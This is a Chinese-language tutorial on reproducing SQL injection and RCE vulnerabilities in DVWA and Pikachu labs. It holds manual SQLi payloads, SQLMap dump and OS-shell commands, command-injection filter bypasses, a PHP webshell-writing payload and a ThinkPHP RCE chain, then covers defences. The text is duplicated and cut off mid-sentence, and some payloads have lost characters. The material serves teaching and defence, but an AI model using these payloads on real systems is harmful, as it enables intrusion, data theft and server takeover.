1. 项目概述与核心价值最近在整理内部安全测试的复盘笔记发现很多新入行的伙伴对SQL注入和RCE远程代码执行漏洞的理解还停留在“知道名字”的阶段真正动手复现时总是卡在环境搭建、Payload构造或者原理理解上。这其实挺危险的安全测试不是背几个Payload就能搞定的你得亲手把漏洞“挖”出来才能理解攻击者是怎么想的防御又该从哪里着手。这次我就把这两个Web安全里最经典、也最致命的漏洞类型从环境搭建到漏洞利用再到背后的原理掰开揉碎了讲一遍。目标很明确让你不仅能看懂漏洞报告更能独立完成一次完整的漏洞复现真正把理论变成手上的功夫。无论是刚接触安全测试的学生还是需要提升实战能力的运维、开发这篇文章都能给你一套清晰的实操路径。我们会用到DVWA、Pikachu这类经典的靶场也会涉及一些真实的CMS漏洞案例如Dedecms、74cms确保你学到的技巧能直接应用到实际工作中。记住复现漏洞不是为了攻击而是为了更坚固的防御。我们通过亲手触发漏洞来深刻理解每一行不安全的代码可能带来的灾难性后果。2. 漏洞复现环境全景搭建工欲善其事必先利其器。漏洞复现的第一步不是急着去敲命令而是搭建一个稳定、隔离且功能完整的实验环境。一个混乱的环境会让你在后续的排错中浪费大量时间。2.1 靶场与工具选型解析对于SQL注入和RCE漏洞的复现我们主要需要两类环境集成漏洞的靶场以及发起测试的攻击工具。1. 靶场选择为什么是DVWA和PikachuDVWA (Damn Vulnerable Web Application)这是安全圈的“Hello World”。它的价值在于将漏洞难度分为“Low”、“Medium”、“High”、“Impossible”四个等级。你可以从最基础的、毫无防护的“Low”级别开始直观地看到漏洞是如何发生的。然后逐步提升难度观察开发者引入了哪些蹩脚的防护比如“Medium”级别的mysql_real_escape_string以及这些防护是如何被绕过的。最后在“Impossible”级别学习真正有效的防御代码。这种阶梯式的设计是理解漏洞演变和防御升级的最佳教材。Pikachu漏洞练习平台如果说DVWA是教科书那Pikachu就是习题集。它涵盖了更丰富的漏洞场景比如基于错误的注入、盲注、宽字节注入、Cookie注入、XSS、RCE等等。它的题目设计更贴近CTF比赛和实际渗透测试中的场景能很好地锻炼你根据不同情况构造Payload的能力。2. 攻击工具准备Burp Suite与SQLMapBurp Suite Community版这是Web安全测试的“瑞士军刀”。我们主要用到它的**Proxy代理和Repeater重放**功能。Proxy用于拦截浏览器发送的所有请求让你能查看和修改任何参数Repeater则允许你将拦截的请求发送到服务器并反复修改、测试是手工注入和测试RCE Payload的利器。社区版对于学习完全够用。SQLMap自动化SQL注入检测和利用工具。它的强大在于能自动识别注入点、数据库类型并执行从数据获取到文件读写的一系列操作。但在学习阶段我强烈建议你先手工完成注入理解每一步的原理然后再用SQLMap验证和提升效率。直接依赖自动化工具会让你失去对漏洞本质的感知。2.2 本地环境部署实操为了避免影响真实系统我们使用虚拟机。这里以Windows系统下使用VMware安装PHPStudy集成环境为例Linux下使用Docker或LAMP套件原理类似。步骤一虚拟机与PHPStudy部署安装VMware Workstation Player免费版即可。创建一个新的虚拟机安装Windows 7或10系统。分配至少2核CPU、4GB内存和40GB硬盘空间。在虚拟机内下载并安装PHPStudy。选择PHP 5.4和MySQL 5.5的组合这兼容绝大多数老旧靶场。启动PHPStudy的Apache和MySQL服务确保本地能访问http://127.0.0.1看到欢迎页。步骤二靶场部署与初始化下载DVWA和Pikachu的源码压缩包。将解压后的文件夹如dvwa、pikachu复制到PHPStudy的WWW根目录下通常是D:\phpstudy_pro\WWW\。访问http://127.0.0.1/dvwa和http://127.0.0.1/pikachu。首次访问DVWA会提示数据库连接错误。配置DVWA数据库复制D:\phpstudy_pro\WWW\dvwa\config\config.inc.php.dist文件重命名为config.inc.php。用文本编辑器打开这个新文件找到数据库配置部分通常只需要确认以下几项即可PHPStudy的MySQL默认密码常为空$_DVWA[ db_server ] 127.0.0.1; $_DVWA[ db_database ] dvwa; $_DVWA[ db_user ] root; $_DVWA[ db_password ] ; // 如果PHPStudy设置了密码则填入访问http://127.0.0.1/dvwa/setup.php点击页面底部的“Create / Reset Database”按钮。成功后会创建数据库表并跳转到登录页默认账号admin密码password。配置Pikachu数据库访问http://127.0.0.1/pikachu页面通常会有一个初始化链接点击后会自动创建数据库和表。如果失败可能需要手动导入源码包中的SQL文件到数据库。注意务必确保你的虚拟机或实验环境完全与互联网隔离关闭虚拟机的网卡或设置为Host-Only模式。这些靶场本身充满漏洞暴露在公网会立即被攻击者扫描并控制成为“肉鸡”。2.3 浏览器与代理配置关键环境搭好了我们还需要让流量经过Burp Suite这样才能进行分析和修改。启动Burp Suite在Proxy - Options中确保代理监听在127.0.0.1:8080。配置浏览器代理。以Chrome为例可以安装SwitchyOmega插件新建一个情景模式配置HTTP和HTTPS代理为127.0.0.1端口8080。访问http://burp或http://127.0.0.1:8080下载Burp的CA证书。在Chrome设置中搜索“证书管理”导入该证书并信任。打开浏览器代理访问靶场地址Burp的Proxy - Intercept标签页如果显示“Intercept is on”就能看到拦截的请求了。初次测试时建议先关闭拦截Intercept is off先正常浏览在HTTP history里查看请求记录避免因拦截导致页面加载不全。至此一个完整的、可反复折腾的漏洞复现沙箱就准备好了。接下来我们深入漏洞的核心。3. SQL注入漏洞深度复现与原理剖析SQL注入的本质是攻击者通过Web应用传入的参数篡改了后端数据库查询语句的原始逻辑。理解这一点比记住一百个Payload更重要。3.1 从错误注入到联合查询手工注入全流程我们以DVWA的SQL Injection (GET/Search) 漏洞难度设为“Low”为例。这个级别没有任何过滤。第一步探测注入点在输入框输入一个单引号‘提交。如果页面返回数据库错误信息如“You have an error in your SQL syntax...”那么此处极可能存在字符型注入。数字型注入则可能输入1 and 11和1 and 12来观察页面回显差异。第二步判断字段数Order By我们需要知道当前查询语句SELECT了多少个字段才能进行联合查询。使用order by子句。输入1 order by 1 -- 输入1 order by 2 -- 输入1 order by 3 --当order by 3时报错而order by 2正常说明查询结果共2个字段。--是SQL注释符用于注释掉原查询语句后面的部分避免语法错误。第三步确定回显点Union Select知道了字段数就可以用union select来拼接我们自己的查询并观察结果在页面的哪个位置显示。输入-1 union select 1,2 --这里把原查询的ID设为-1一个不存在的值确保原查询结果为空页面只显示我们union select的结果。如果页面显示了数字“1”和“2”说明这两个位置都可以用来回显我们想要的数据。第四步获取数据库信息现在我们把回显点替换成我们想查询的函数。输入-1 union select database(), version() --database()返回当前数据库名如dvwaversion()返回数据库版本。这样我们就从页面回显中拿到了关键信息。第五步枚举表名与字段名在MySQL中information_schema数据库存储了所有元数据。输入-1 union select table_name, null from information_schema.tables where table_schemadatabase() --这条语句会列出dvwa数据库中的所有表名。假设我们发现了users表。 接着枚举users表的字段输入-1 union select column_name, null from information_schema.columns where table_schemadatabase() and table_nameusers --我们会看到user_id,first_name,last_name,user,password等字段。第六步拖取最终数据最后直接查询敏感数据。输入-1 union select user, password from users --这样用户名和经过哈希处理的密码就全部显示出来了。对于MD5等哈希密码可以尝试在线网站进行破解。实操心得手工注入的过程就是与后端数据库“对话”的过程。每一步都像是在提问“你查询几个字段”order by“结果在哪显示”union select 1,2“你叫什么名字”database()“你有哪些表”information_schema.tables。理解这个对话逻辑远比记忆Payload重要。3.2 盲注当错误信息被隐藏时在实际中开发者会关闭错误回显这时“基于错误的注入”就失效了。我们需要用到“盲注”。盲注分为布尔盲注和时间盲注。布尔盲注通过页面返回的真/假True/False状态来推断信息。例如通过and连接一个判断条件。输入1 and ascii(substr(database(),1,1))100 --substr(database(),1,1)截取数据库名第一个字符ascii()转为ASCII码。如果页面正常显示说明ASCII码大于100如果无数据或报错说明小于等于100。通过二分法可以逐个字符猜解出整个数据库名。这个过程极其繁琐必须借助工具。时间盲注当页面无论真假都返回相同内容时使用时间延迟来判断。输入1 and if(ascii(substr(database(),1,1))100, sleep(5), 0) --如果第一个字符的ASCII码大于100则页面响应会延迟5秒否则立即返回。通过观察响应时间同样可以推断出数据。注意事项盲注是体力活手工几乎不可能完成。这正是SQLMap这类自动化工具的用武之地。你可以将存在盲注的请求保存为文本文件如req.txt然后用SQLMap加载sqlmap -r req.txt --batch。它会自动识别注入类型并完成数据提取。但请务必在理解手工原理后再使用工具。3.3 SQLMap自动化利用实战理解了原理我们用SQLMap来高效复现。假设我们已通过Burp抓取到DVWA的注入请求并保存为dvwa_req.txt。基础探测sqlmap -r dvwa_req.txt --batch-r参数指定请求文件--batch表示以非交互模式运行自动选择默认选项。SQLMap会先测试所有参数识别出存在注入的参数。获取数据库信息sqlmap -r dvwa_req.txt --dbs--dbs参数枚举所有数据库。指定数据库并枚举表sqlmap -r dvwa_req.txt -D dvwa --tables-D指定数据库名--tables列出该库所有表。拖取表数据sqlmap -r dvwa_req.txt -D dvwa -T users --dump-T指定表名--dump导出该表所有数据。SQLMap检测到密码哈希时甚至会询问你是否调用内置字典进行破解。高级利用--os-shell尝试获取操作系统shell需要高权限且数据库配置不当。--file-read读取服务器文件如/etc/passwd。--sql-query执行自定义SQL语句。避坑技巧使用SQLMap时务必加上--level和--risk参数控制测试强度。对于有防护如WAF的站点可以使用--tamper参数调用脚本对Payload进行混淆如space2comment。但最关键的还是靶场环境要隔离好避免误操作。4. RCE漏洞复现从命令注入到代码执行RCE漏洞比SQL注入更直接它允许攻击者在服务器上执行任意命令或代码危害等级通常为“致命”。它常出现在调用系统命令的函数或动态执行代码的函数中。4.1 命令注入漏洞复现命令注入通常发生在Web应用调用如system()、exec()、shell_exec()、passthru()等PHP函数时参数未经过滤直接拼接。DVWA Command Injection (Low) 复现这个关卡提供一个ping功能。正常输入IP127.0.0.1后端会执行ping 127.0.0.1。 利用命令连接符我们可以注入额外命令Linux/Unix分隔符;顺序执行。127.0.0.1; whoami会先ping再执行whoami。后台执行。127.0.0.1 whoami。前一个命令成功则执行后一个。127.0.0.1 whoami。|管道符。127.0.0.1 | whoami。反引号 或$()命令替换。127.0.0.1 $(whoami)。Windows分隔符ipconfig whoamiipconfig whoami|ipconfig | whoami||前一个失败则执行后一个。在DVWA Low级别输入127.0.0.1; ls -laLinux或127.0.0.1 dirWindows就能看到当前目录的文件列表证明命令注入成功。绕过技巧Medium/High级别当开发者尝试过滤时我们需要绕过。黑名单过滤如果过滤了;和可以尝试使用、|、反引号、%0a换行符等。空格过滤可以用${IFS}、%09Tab、等代替。关键词过滤如过滤了whoami可以用拼接whoami、变量替换awhoami;$a、或使用通配符/???/??ho??iLinux下等方式绕过。4.2 代码执行漏洞复现代码执行漏洞通常源于eval()、assert()、preg_replace()的/e修饰符PHP 5.x等函数参数用户可控。Pikachu “RCE” 关卡复现Pikachu的RCE关卡通常是一个输入框后端代码可能类似于eval(“\$str \”$input\”;”)。 如果我们输入phpinfo();这段代码就会被eval()执行输出PHP配置信息。 更危险的Payload是写入Webshell输入file_put_contents(shell.php, ?php eval($_POST[cmd]);?);这会在网站根目录生成一个一句话木马文件shell.php攻击者可以通过中国菜刀或蚁剑等工具连接完全控制服务器。复杂场景动态函数调用有时漏洞代码是$func($_GET[param])。如果我们可以控制$func和$param就可以调用任意函数。例如构造?funcsystem¶mwhoami就会执行系统命令。严重警告在复现代码执行漏洞尤其是写入Webshell时绝对、绝对、绝对要在隔离的虚拟机环境中进行。任何一丝疏忽导致Shell泄露到公网你的机器会在几分钟内被攻陷并可能被用作攻击他人的跳板承担法律风险。4.3 经典框架/组件RCE漏洞浅析除了直接的代码/命令注入一些流行框架和组件的历史RCE漏洞也极具学习价值。1. Apache Struts2 系列漏洞如S2-045S2-061Struts2的漏洞多源于对OGNL表达式处理不当。攻击者通过构造特定的HTTP请求头如Content-Type或参数将恶意OGNL代码注入到服务器端执行。复现这类漏洞通常需要搭建特定版本的Struts2演示应用然后使用公开的EXP利用代码发起攻击。理解其原理有助于认识到即使使用成熟框架错误配置或使用旧版本也会带来巨大风险。2. ThinkPHP 5.x RCE漏洞ThinkPHP的一些版本中由于路由解析或控制器调用缺陷导致攻击者可以通过精心构造的URL直接调用任意类的方法进而执行代码。例如著名的_method__constructfilter[]systemmethodgetserver[REQUEST_METHOD]whoami利用链。复现时需要搭建对应版本的ThinkPHP并开启调试模式或存在特定路由。3. 反序列化漏洞这是RCE中较高级的一种出现在unserialize()函数处理用户可控数据时。攻击者构造一个恶意的序列化字符串其中包含指向危险方法的“魔法函数”如__destruct(),__wakeup()当对象被反序列化时这些方法会自动执行从而触发代码。Java的Apache Commons Collections、PHP的各类POP链都是经典案例。复现反序列化漏洞需要对目标代码的类结构有深入分析。复现这些复杂漏洞步骤通常是1搭建漏洞版本环境2分析漏洞公告和利用代码3使用Python编写EXP脚本或直接使用公开工具发起攻击4观察结果理解利用链。这需要更强的代码审计和调试能力。5. 漏洞防御从复现中学习加固复现漏洞的最终目的是为了防御。通过亲手触发漏洞你应该对以下防御措施有刻骨铭心的理解。针对SQL注入使用参数化查询预编译语句这是唯一从根本上杜绝SQL注入的方法。无论是PHP的PDOprepareexecute还是Java的PreparedStatement都将用户输入的数据严格作为参数传递而非SQL语句的一部分。数据库会先编译SQL结构再将参数代入因此参数中的特殊字符无法改变原语句逻辑。输入验证与过滤在参数化查询的基础上进行辅助性防御。对输入进行严格的类型检查如ID必须是整数、长度限制、使用白名单验证输入内容如只允许字母数字。最小权限原则为数据库连接账户分配最小必需的权限。绝对不要使用root或sa等超级管理员账户连接Web应用。这样即使发生注入攻击者也无法执行DROP DATABASE、读写系统文件等高危操作。避免动态拼接SQL这是万恶之源。永远不要使用字符串拼接的方式构造SQL语句如SELECT * FROM users WHERE id $_GET[id]。针对RCE漏洞避免使用危险函数如非必要彻底禁用eval()、assert()、system()、exec()、shell_exec()、passthru()、popen()、proc_open()等函数。在php.ini中通过disable_functions进行禁用。必须使用时进行严格过滤和转义如果业务必须执行系统命令应使用白名单机制限制可执行的命令范围并对参数进行严格的过滤如只允许特定字符。对于代码执行几乎没有任何理由在Web应用中直接使用eval()。及时更新与修补对于使用的框架、组件、中间件如Struts2, ThinkPHP, Spring, Nginx, Redis等保持关注安全公告及时更新到已修复漏洞的版本。文件上传安全很多RCE通过文件上传漏洞实现。必须对上传文件的类型、内容、后缀进行严格检查并重命名存储避免用户控制存储路径和文件名。6. 复现过程中的典型问题与排查实录即使按照教程操作你也一定会遇到各种问题。这里记录几个最常见的问题和解决方法。问题1DVWA页面显示“PHP function allow_url_include: Disabled”等警告。现象访问DVWA的setup.php页面一片红色警告。排查这些是PHP配置未满足DVWA要求。点击页面上的“Create / Reset Database”按钮可能失败。解决打开PHPStudy在“软件管理”中找到对应PHP版本点击“设置”-“php.ini”。找到以下配置并修改allow_url_include Onallow_url_fopen Onsafe_mode Off(PHP 5.4已移除无需设置)修改后重启Apache服务。如果还提示php-gd模块未安装在PHPStudy的“扩展”管理中勾选安装gd2。问题2SQL注入时输入Payload后页面无变化或报错“You have an error in your SQL syntax”。现象明明按照步骤但注入不成功。排查确认注入类型数字型注入点用字符型Payload会报错反之亦然。仔细看页面提示是搜索用户可能字符型还是根据ID查文章可能数字型。检查闭合符号原SQL语句可能是‘$input‘或(“$input”)。你的Payload需要先闭合前面的引号或括号。多尝试‘、‘) --、‘)) --。检查注释符MySQL注释符是--后面有个空格或#。在URL中#通常被当作锚点所以常用--号在URL中解码为空格或%23#的URL编码。解决在Burp Repeater中反复测试不同的闭合和注释方式。观察服务器返回的原始响应有时错误信息会藏在HTML源码里。问题3使用Burp Suite拦截不到浏览器流量。现象浏览器配置了代理但Burp的Proxy history里空空如也。排查检查Burp Proxy的Intercept是否处于“Intercept is on”状态如果是会卡住第一个请求先关掉。检查浏览器代理插件如SwitchyOmega规则是否正确是否针对目标URL启用了代理。检查系统或杀毒软件的防火墙是否阻止了Burp。访问http://burp是否能成功下载证书。解决最稳妥的方法是在浏览器中直接设置系统代理为127.0.0.1:8080不推荐长期使用会影响其他上网。或者关闭所有其他代理插件只留一个。问题4SQLMap跑不出结果一直显示“heuristic test shows that the target is protected by some WAF”。现象SQLMap检测到WAF无法正常进行注入测试。排查靶场一般没有WAF可能是Payload被靶场自身的简单过滤干扰了。解决尝试降低测试等级和风险sqlmap -u “url” --level2 --risk1。指定注入技术--techniqueB布尔盲注或--techniqueT时间盲注。增加延迟避免触发靶场的频率限制--delay1每次请求间隔1秒。使用--tamper脚本混淆Payload例如--tamperspace2comment将空格替换为注释。漏洞复现是一门实践科学每一个错误都是加深理解的契机。遇到问题时耐心查看错误信息利用Burp Suite仔细对比请求与响应拆分复杂的Payload一步步测试你总能找到突破口。最终当你能够独立分析一个未知的输入点判断其是否存在漏洞并成功构造出利用代码时你就真正掌握了这项核心技能。记住能力越大责任越大永远在法律和道德的框架内使用这些知识。
SQL注入与RCE漏洞实战复现:从环境搭建到防御加固
1. 项目概述与核心价值最近在整理内部安全测试的复盘笔记发现很多新入行的伙伴对SQL注入和RCE远程代码执行漏洞的理解还停留在“知道名字”的阶段真正动手复现时总是卡在环境搭建、Payload构造或者原理理解上。这其实挺危险的安全测试不是背几个Payload就能搞定的你得亲手把漏洞“挖”出来才能理解攻击者是怎么想的防御又该从哪里着手。这次我就把这两个Web安全里最经典、也最致命的漏洞类型从环境搭建到漏洞利用再到背后的原理掰开揉碎了讲一遍。目标很明确让你不仅能看懂漏洞报告更能独立完成一次完整的漏洞复现真正把理论变成手上的功夫。无论是刚接触安全测试的学生还是需要提升实战能力的运维、开发这篇文章都能给你一套清晰的实操路径。我们会用到DVWA、Pikachu这类经典的靶场也会涉及一些真实的CMS漏洞案例如Dedecms、74cms确保你学到的技巧能直接应用到实际工作中。记住复现漏洞不是为了攻击而是为了更坚固的防御。我们通过亲手触发漏洞来深刻理解每一行不安全的代码可能带来的灾难性后果。2. 漏洞复现环境全景搭建工欲善其事必先利其器。漏洞复现的第一步不是急着去敲命令而是搭建一个稳定、隔离且功能完整的实验环境。一个混乱的环境会让你在后续的排错中浪费大量时间。2.1 靶场与工具选型解析对于SQL注入和RCE漏洞的复现我们主要需要两类环境集成漏洞的靶场以及发起测试的攻击工具。1. 靶场选择为什么是DVWA和PikachuDVWA (Damn Vulnerable Web Application)这是安全圈的“Hello World”。它的价值在于将漏洞难度分为“Low”、“Medium”、“High”、“Impossible”四个等级。你可以从最基础的、毫无防护的“Low”级别开始直观地看到漏洞是如何发生的。然后逐步提升难度观察开发者引入了哪些蹩脚的防护比如“Medium”级别的mysql_real_escape_string以及这些防护是如何被绕过的。最后在“Impossible”级别学习真正有效的防御代码。这种阶梯式的设计是理解漏洞演变和防御升级的最佳教材。Pikachu漏洞练习平台如果说DVWA是教科书那Pikachu就是习题集。它涵盖了更丰富的漏洞场景比如基于错误的注入、盲注、宽字节注入、Cookie注入、XSS、RCE等等。它的题目设计更贴近CTF比赛和实际渗透测试中的场景能很好地锻炼你根据不同情况构造Payload的能力。2. 攻击工具准备Burp Suite与SQLMapBurp Suite Community版这是Web安全测试的“瑞士军刀”。我们主要用到它的**Proxy代理和Repeater重放**功能。Proxy用于拦截浏览器发送的所有请求让你能查看和修改任何参数Repeater则允许你将拦截的请求发送到服务器并反复修改、测试是手工注入和测试RCE Payload的利器。社区版对于学习完全够用。SQLMap自动化SQL注入检测和利用工具。它的强大在于能自动识别注入点、数据库类型并执行从数据获取到文件读写的一系列操作。但在学习阶段我强烈建议你先手工完成注入理解每一步的原理然后再用SQLMap验证和提升效率。直接依赖自动化工具会让你失去对漏洞本质的感知。2.2 本地环境部署实操为了避免影响真实系统我们使用虚拟机。这里以Windows系统下使用VMware安装PHPStudy集成环境为例Linux下使用Docker或LAMP套件原理类似。步骤一虚拟机与PHPStudy部署安装VMware Workstation Player免费版即可。创建一个新的虚拟机安装Windows 7或10系统。分配至少2核CPU、4GB内存和40GB硬盘空间。在虚拟机内下载并安装PHPStudy。选择PHP 5.4和MySQL 5.5的组合这兼容绝大多数老旧靶场。启动PHPStudy的Apache和MySQL服务确保本地能访问http://127.0.0.1看到欢迎页。步骤二靶场部署与初始化下载DVWA和Pikachu的源码压缩包。将解压后的文件夹如dvwa、pikachu复制到PHPStudy的WWW根目录下通常是D:\phpstudy_pro\WWW\。访问http://127.0.0.1/dvwa和http://127.0.0.1/pikachu。首次访问DVWA会提示数据库连接错误。配置DVWA数据库复制D:\phpstudy_pro\WWW\dvwa\config\config.inc.php.dist文件重命名为config.inc.php。用文本编辑器打开这个新文件找到数据库配置部分通常只需要确认以下几项即可PHPStudy的MySQL默认密码常为空$_DVWA[ db_server ] 127.0.0.1; $_DVWA[ db_database ] dvwa; $_DVWA[ db_user ] root; $_DVWA[ db_password ] ; // 如果PHPStudy设置了密码则填入访问http://127.0.0.1/dvwa/setup.php点击页面底部的“Create / Reset Database”按钮。成功后会创建数据库表并跳转到登录页默认账号admin密码password。配置Pikachu数据库访问http://127.0.0.1/pikachu页面通常会有一个初始化链接点击后会自动创建数据库和表。如果失败可能需要手动导入源码包中的SQL文件到数据库。注意务必确保你的虚拟机或实验环境完全与互联网隔离关闭虚拟机的网卡或设置为Host-Only模式。这些靶场本身充满漏洞暴露在公网会立即被攻击者扫描并控制成为“肉鸡”。2.3 浏览器与代理配置关键环境搭好了我们还需要让流量经过Burp Suite这样才能进行分析和修改。启动Burp Suite在Proxy - Options中确保代理监听在127.0.0.1:8080。配置浏览器代理。以Chrome为例可以安装SwitchyOmega插件新建一个情景模式配置HTTP和HTTPS代理为127.0.0.1端口8080。访问http://burp或http://127.0.0.1:8080下载Burp的CA证书。在Chrome设置中搜索“证书管理”导入该证书并信任。打开浏览器代理访问靶场地址Burp的Proxy - Intercept标签页如果显示“Intercept is on”就能看到拦截的请求了。初次测试时建议先关闭拦截Intercept is off先正常浏览在HTTP history里查看请求记录避免因拦截导致页面加载不全。至此一个完整的、可反复折腾的漏洞复现沙箱就准备好了。接下来我们深入漏洞的核心。3. SQL注入漏洞深度复现与原理剖析SQL注入的本质是攻击者通过Web应用传入的参数篡改了后端数据库查询语句的原始逻辑。理解这一点比记住一百个Payload更重要。3.1 从错误注入到联合查询手工注入全流程我们以DVWA的SQL Injection (GET/Search) 漏洞难度设为“Low”为例。这个级别没有任何过滤。第一步探测注入点在输入框输入一个单引号‘提交。如果页面返回数据库错误信息如“You have an error in your SQL syntax...”那么此处极可能存在字符型注入。数字型注入则可能输入1 and 11和1 and 12来观察页面回显差异。第二步判断字段数Order By我们需要知道当前查询语句SELECT了多少个字段才能进行联合查询。使用order by子句。输入1 order by 1 -- 输入1 order by 2 -- 输入1 order by 3 --当order by 3时报错而order by 2正常说明查询结果共2个字段。--是SQL注释符用于注释掉原查询语句后面的部分避免语法错误。第三步确定回显点Union Select知道了字段数就可以用union select来拼接我们自己的查询并观察结果在页面的哪个位置显示。输入-1 union select 1,2 --这里把原查询的ID设为-1一个不存在的值确保原查询结果为空页面只显示我们union select的结果。如果页面显示了数字“1”和“2”说明这两个位置都可以用来回显我们想要的数据。第四步获取数据库信息现在我们把回显点替换成我们想查询的函数。输入-1 union select database(), version() --database()返回当前数据库名如dvwaversion()返回数据库版本。这样我们就从页面回显中拿到了关键信息。第五步枚举表名与字段名在MySQL中information_schema数据库存储了所有元数据。输入-1 union select table_name, null from information_schema.tables where table_schemadatabase() --这条语句会列出dvwa数据库中的所有表名。假设我们发现了users表。 接着枚举users表的字段输入-1 union select column_name, null from information_schema.columns where table_schemadatabase() and table_nameusers --我们会看到user_id,first_name,last_name,user,password等字段。第六步拖取最终数据最后直接查询敏感数据。输入-1 union select user, password from users --这样用户名和经过哈希处理的密码就全部显示出来了。对于MD5等哈希密码可以尝试在线网站进行破解。实操心得手工注入的过程就是与后端数据库“对话”的过程。每一步都像是在提问“你查询几个字段”order by“结果在哪显示”union select 1,2“你叫什么名字”database()“你有哪些表”information_schema.tables。理解这个对话逻辑远比记忆Payload重要。3.2 盲注当错误信息被隐藏时在实际中开发者会关闭错误回显这时“基于错误的注入”就失效了。我们需要用到“盲注”。盲注分为布尔盲注和时间盲注。布尔盲注通过页面返回的真/假True/False状态来推断信息。例如通过and连接一个判断条件。输入1 and ascii(substr(database(),1,1))100 --substr(database(),1,1)截取数据库名第一个字符ascii()转为ASCII码。如果页面正常显示说明ASCII码大于100如果无数据或报错说明小于等于100。通过二分法可以逐个字符猜解出整个数据库名。这个过程极其繁琐必须借助工具。时间盲注当页面无论真假都返回相同内容时使用时间延迟来判断。输入1 and if(ascii(substr(database(),1,1))100, sleep(5), 0) --如果第一个字符的ASCII码大于100则页面响应会延迟5秒否则立即返回。通过观察响应时间同样可以推断出数据。注意事项盲注是体力活手工几乎不可能完成。这正是SQLMap这类自动化工具的用武之地。你可以将存在盲注的请求保存为文本文件如req.txt然后用SQLMap加载sqlmap -r req.txt --batch。它会自动识别注入类型并完成数据提取。但请务必在理解手工原理后再使用工具。3.3 SQLMap自动化利用实战理解了原理我们用SQLMap来高效复现。假设我们已通过Burp抓取到DVWA的注入请求并保存为dvwa_req.txt。基础探测sqlmap -r dvwa_req.txt --batch-r参数指定请求文件--batch表示以非交互模式运行自动选择默认选项。SQLMap会先测试所有参数识别出存在注入的参数。获取数据库信息sqlmap -r dvwa_req.txt --dbs--dbs参数枚举所有数据库。指定数据库并枚举表sqlmap -r dvwa_req.txt -D dvwa --tables-D指定数据库名--tables列出该库所有表。拖取表数据sqlmap -r dvwa_req.txt -D dvwa -T users --dump-T指定表名--dump导出该表所有数据。SQLMap检测到密码哈希时甚至会询问你是否调用内置字典进行破解。高级利用--os-shell尝试获取操作系统shell需要高权限且数据库配置不当。--file-read读取服务器文件如/etc/passwd。--sql-query执行自定义SQL语句。避坑技巧使用SQLMap时务必加上--level和--risk参数控制测试强度。对于有防护如WAF的站点可以使用--tamper参数调用脚本对Payload进行混淆如space2comment。但最关键的还是靶场环境要隔离好避免误操作。4. RCE漏洞复现从命令注入到代码执行RCE漏洞比SQL注入更直接它允许攻击者在服务器上执行任意命令或代码危害等级通常为“致命”。它常出现在调用系统命令的函数或动态执行代码的函数中。4.1 命令注入漏洞复现命令注入通常发生在Web应用调用如system()、exec()、shell_exec()、passthru()等PHP函数时参数未经过滤直接拼接。DVWA Command Injection (Low) 复现这个关卡提供一个ping功能。正常输入IP127.0.0.1后端会执行ping 127.0.0.1。 利用命令连接符我们可以注入额外命令Linux/Unix分隔符;顺序执行。127.0.0.1; whoami会先ping再执行whoami。后台执行。127.0.0.1 whoami。前一个命令成功则执行后一个。127.0.0.1 whoami。|管道符。127.0.0.1 | whoami。反引号 或$()命令替换。127.0.0.1 $(whoami)。Windows分隔符ipconfig whoamiipconfig whoami|ipconfig | whoami||前一个失败则执行后一个。在DVWA Low级别输入127.0.0.1; ls -laLinux或127.0.0.1 dirWindows就能看到当前目录的文件列表证明命令注入成功。绕过技巧Medium/High级别当开发者尝试过滤时我们需要绕过。黑名单过滤如果过滤了;和可以尝试使用、|、反引号、%0a换行符等。空格过滤可以用${IFS}、%09Tab、等代替。关键词过滤如过滤了whoami可以用拼接whoami、变量替换awhoami;$a、或使用通配符/???/??ho??iLinux下等方式绕过。4.2 代码执行漏洞复现代码执行漏洞通常源于eval()、assert()、preg_replace()的/e修饰符PHP 5.x等函数参数用户可控。Pikachu “RCE” 关卡复现Pikachu的RCE关卡通常是一个输入框后端代码可能类似于eval(“\$str \”$input\”;”)。 如果我们输入phpinfo();这段代码就会被eval()执行输出PHP配置信息。 更危险的Payload是写入Webshell输入file_put_contents(shell.php, ?php eval($_POST[cmd]);?);这会在网站根目录生成一个一句话木马文件shell.php攻击者可以通过中国菜刀或蚁剑等工具连接完全控制服务器。复杂场景动态函数调用有时漏洞代码是$func($_GET[param])。如果我们可以控制$func和$param就可以调用任意函数。例如构造?funcsystem¶mwhoami就会执行系统命令。严重警告在复现代码执行漏洞尤其是写入Webshell时绝对、绝对、绝对要在隔离的虚拟机环境中进行。任何一丝疏忽导致Shell泄露到公网你的机器会在几分钟内被攻陷并可能被用作攻击他人的跳板承担法律风险。4.3 经典框架/组件RCE漏洞浅析除了直接的代码/命令注入一些流行框架和组件的历史RCE漏洞也极具学习价值。1. Apache Struts2 系列漏洞如S2-045S2-061Struts2的漏洞多源于对OGNL表达式处理不当。攻击者通过构造特定的HTTP请求头如Content-Type或参数将恶意OGNL代码注入到服务器端执行。复现这类漏洞通常需要搭建特定版本的Struts2演示应用然后使用公开的EXP利用代码发起攻击。理解其原理有助于认识到即使使用成熟框架错误配置或使用旧版本也会带来巨大风险。2. ThinkPHP 5.x RCE漏洞ThinkPHP的一些版本中由于路由解析或控制器调用缺陷导致攻击者可以通过精心构造的URL直接调用任意类的方法进而执行代码。例如著名的_method__constructfilter[]systemmethodgetserver[REQUEST_METHOD]whoami利用链。复现时需要搭建对应版本的ThinkPHP并开启调试模式或存在特定路由。3. 反序列化漏洞这是RCE中较高级的一种出现在unserialize()函数处理用户可控数据时。攻击者构造一个恶意的序列化字符串其中包含指向危险方法的“魔法函数”如__destruct(),__wakeup()当对象被反序列化时这些方法会自动执行从而触发代码。Java的Apache Commons Collections、PHP的各类POP链都是经典案例。复现反序列化漏洞需要对目标代码的类结构有深入分析。复现这些复杂漏洞步骤通常是1搭建漏洞版本环境2分析漏洞公告和利用代码3使用Python编写EXP脚本或直接使用公开工具发起攻击4观察结果理解利用链。这需要更强的代码审计和调试能力。5. 漏洞防御从复现中学习加固复现漏洞的最终目的是为了防御。通过亲手触发漏洞你应该对以下防御措施有刻骨铭心的理解。针对SQL注入使用参数化查询预编译语句这是唯一从根本上杜绝SQL注入的方法。无论是PHP的PDOprepareexecute还是Java的PreparedStatement都将用户输入的数据严格作为参数传递而非SQL语句的一部分。数据库会先编译SQL结构再将参数代入因此参数中的特殊字符无法改变原语句逻辑。输入验证与过滤在参数化查询的基础上进行辅助性防御。对输入进行严格的类型检查如ID必须是整数、长度限制、使用白名单验证输入内容如只允许字母数字。最小权限原则为数据库连接账户分配最小必需的权限。绝对不要使用root或sa等超级管理员账户连接Web应用。这样即使发生注入攻击者也无法执行DROP 